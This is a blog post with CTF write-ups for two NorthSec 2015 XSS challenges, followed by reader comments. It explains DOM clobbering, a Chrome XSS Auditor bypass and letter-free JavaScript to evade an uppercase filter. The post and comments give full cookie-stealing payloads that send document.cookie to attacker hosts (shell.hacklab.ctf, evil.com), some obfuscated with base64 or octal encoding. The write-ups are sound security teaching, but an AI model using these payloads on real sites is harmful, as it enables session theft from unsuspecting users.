Monday, 25 May 2015

NorthSec 2015 - XSS Challenge Writeups

This weekend, the NorthSec CTF was held in Montreal. I got questions from a few teams about how we where able to do some of the XSS challenge since some of them where quite challenging. I don't have the exact source of the challenge, but I will give a rough approximation of it.

contact.asr.raclette.ctf


The page that we had to find and exploit a XSS was doing roughly this : 
<html>
<body id="sampleForm">
<form method=<?php echo htmlentities(filter($_GET['method'])); ?> action="<?php echo htmlentities(filter($_GET['action'])); ?>" >
Comments <textarea name="comment"></textarea>
<script>
document.write("<input type='submit' name='submit' ");
document.write("value=\"" + document.body.id);
document.write("\">");
</script>
</form>
</body>
</html>
The "filter" function was a function which replaced some pattern to the string "XSS DETECTED". At the first looked this could seems pretty legitimate since the parameters are properly HTML escaped. There is indeed no way to escape of the form tag. However the script that prints the submit button can be attacked with a technique called DOM clobbering. If we can give the form the name "body" and and assign an "id" value, when the script will be evaluated, the value of "document.body.id" will be the "id" we have defined. Great, we now have a way to injected arbitrary HTML code !

When we started exploiting this we weren't able to make the victim execute any JavaScript code, but we where getting hits when we where making the victim view an image tag that pointed to our server. The hits we where getting had the user agent of the latest version of Google Chrome. This was a very bad news, because Google Chrome activate the XSS Auditor actived by default. So we had to find a way to bypass the XSS Auditor of the latest version of Google Chrome. Yikes !

Luckily there's plenty of information that explains how the XSS Auditor can be bypassed. It essentially resolves around confusing the browser to make sure he can't reliably trace back the injected code with the parameter passed in the URL. When there's multiple parameters that can be injected this is usually a lot easier. What also helped a bit was the "filter" function which could be used to confuse the browser even more. One of the pattern it changed to "XSS DETECTED" was "**". The first part of the "confusion" was to split the beginning and the ending of the script in the 2 parameters.
http://contact.asr.raclette.ctf/?method=aa name=body id='"><script>&action="</script>'
* Note : The parameters of the URL aren't URL encoded to improve readability. It's going to be the same for all the URL in this article.

To add a bit of confusion we used the filter trick and did this
http://contact.asr.raclette.ctf/?method=aa name=body id='"><script>/**/.test(1);&action="</script>'
For the rest of the code, we used a simple eval() of a base64 string
http://contact.asr.raclette.ctf/?method=aa name=body id='"><script>eval(atob(&quot;d2luZG93LmxvY2F0aW9uPSJodHRwOi8vc2hlbGwuaGFja2xhYi5jdGYvIitidG9hKGRvY3VtZW50LmNvb2tpZSk=&quot;));/**/.test(1);&action="</script>'
When we forced the victim to visit that page, we could steal his cookie and get the flag. The flag was worth 6 points.

main.asr.raclette.ctf


The page that we had to find and exploit a XSS was doing roughly this : 
<html>
<body>
<?php echo strtoupper(filter($_GET['x'])); ?>
</body>
</html>
The filter function was removing some keyword like "src", which essentially prevented the inclusion of external script. Additionally, the XSS-Protection was explicitly turned off.

The main constraint of this challenge was that all character were transformed to upper case. This means that no lower case character could be used. All native JavaScript function and almost every useful variable of the DOM (ex.: window, document, cookie, etc. ) are lower case and case sensitive. Ouch !

Luckily JavaScript is really flexible as a language and it's possible to have valid JavaScript code that doesn't use letters and number ! I wrote about this 4 years ago for the curious. We don't have constraint that heavy, but some of the technique needed are the same.

The first step to execute arbitrary code is to have access to either "eval" or the "Function" constructor. The "Function" constructor is the easiest one to retrieve. To retrieve it and execute code we can use
[]["constructor"]["constructor"](code)();
$=(1+{})[6]+(1+{})[2]+([][[]]+"")[1]+(!1+"")[3]+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[0]+(1+{})[6]+(!0+"")[0]+(1+{})[2]+(!0+"")[1];
$$=[][$][$];
$$( ... code here ...)();
For the code itself, to stay compact, the string part of the code where were number decoded in base36. To be able to execute this, we had to retrieve the string "toString" which was done with
_=(!0+"")[0]+(1+{})[2]+"S"+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[5]+([][[]]+"")[1]+(""[$]+"")[14];
After that we could decode number to string this way
1966241552[_](36) // window
1698633989591[_](36) // location
1071753937337[_](36) // document
767051222[_](36) // cookie
When wrapping everything together, it gives the following payload
http://main.asr.raclette.ctf/?x=<script>$=(1+{})[6]+(1+{})[2]+([][[]]+"")[1]+(!1+"")[3]+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[0]+(1+{})[6]+(!0+"")[0]+(1+{})[2]+(!0+"")[1];$$=[][$][$];_=(!0+"")[0]+(1+{})[2]+"S"+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[5]+([][[]]+"")[1]+(""[$]+"")[14];$$(1966241552[_](36)+"."+1698633989591[_](36)+"='http://shell.hacklab.ctf/'+"+1071753937337[_](36)+"."+767051222[_](36))();</script>
When we forced the victim to visit that page, we could steal his cookie and get the flag. The flag was worth 4 points.

6 comments:

  1. Very interesting approach.

    Here is how we solved them (I'll simply put our solutions):
    main.asr.raclette.ctf:

    http://main.asr.raclette.ctf?x=%3CSVG%20ONLOAD=%26%23100%3b%26%23111%3b%26%2399%3b%26%23117%3b%26%23109%3b%26%23101%3b%26%23110%3b%26%23116%3b.%26%23108%3b%26%23111%3b%26%2399%3b%26%2397%3b%26%23116%3b%26%23105%3b%26%23111%3b%26%23110;='http://shell.hacklab.ctf/?c'%26%2343%3b%26%23100%3b%26%23111%3b%26%2399%3b%26%23117%3b%26%23109%3b%26%23101%3b%26%23110%3b%26%23116%3b.%26%2399%3b%26%23111%3b%26%23111%3b%26%23107%3b%26%23105%3b%26%23101%3b;//

    (here is the URL decoded version)
    http://main.asr.raclette.ctf?x=<SVG ONLOAD=document.location='http://shell.hacklab.ctf/?c'+document.cookie;//

    ReplyDelete
    Replies
    1. (apparently, the "form" tag is breaking the comments so I have replaced the with ICECREAM)

      contact.asr.raclette.ctf:
      http://contact.asr.raclette.ctf/?method=post+name=body+id=a%22%3E%3C/ICECREAM%3E%3Cimg/src=%27http:%2f%2fshell.hacklab.ctf%27/%26%23111%3b%26%23110%3b%26%23101%3b%26%23114%3b%26%23114%3b%26%23111%3b%26%23114%3b=%22XSS=%27http://shell.hacklab.ctf/?c%27%2bdocument.cookie;document.location=onerror&action=index.php

      (here is the URL decoded version)
      http://contact.asr.raclette.ctf/?method=post+name=body+id=a"><img/src='http://shell.hacklab.ctf'/onerror="XSS='http://shell.hacklab.ctf/?c'+document.cookie;document.location=onerror&action=index.php

      It was a very fun challenge !!

      Delete
  2. This comment has been removed by the author.

    ReplyDelete
  3. This comment has been removed by the author.

    ReplyDelete
    Replies
    1. This comment has been removed by the author.

      Delete
  4. let's write this:
    function encode(code){
    result = '';
    for(i=0;i<code.length;i++){
    ch = code[i];
    for(j=0; j < 200; j++){
    if(eval('"\\' + j + '"=="' + ch+ '"')){
    result += '\\'+j;
    break;
    }
    }
    }
    return result
    }

    So, encode('constructor')
    "\143\157\156\163\164\162\165\143\164\157\162"
    also we need:
    encode('location.href = \'http://evil.com/?\'+btoa(document.cookie)')
    "\154\157\143\141\164\151\157\156\56\150\162\145\146\40\75\40\47\150\164\164\160\72\57\57\145\166\151\154\56\143\157\155\57\77\47\53\142\164\157\141\50\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\51"
    PreFinal Sploit is
    []["\143\157\156\163\164\162\165\143\164\157\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\154\157\143\141\164\151\157\156\56\150\162\145\146\40\75\40\47\150\164\164\160\72\57\57\145\166\151\154\56\143\157\155\57\77\47\53\142\164\157\141\50\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\51")
    anonymous() {
    location.href = 'http://evil.com/?'+btoa(document.cookie)
    }
    Now add brackets ant that's it

    ReplyDelete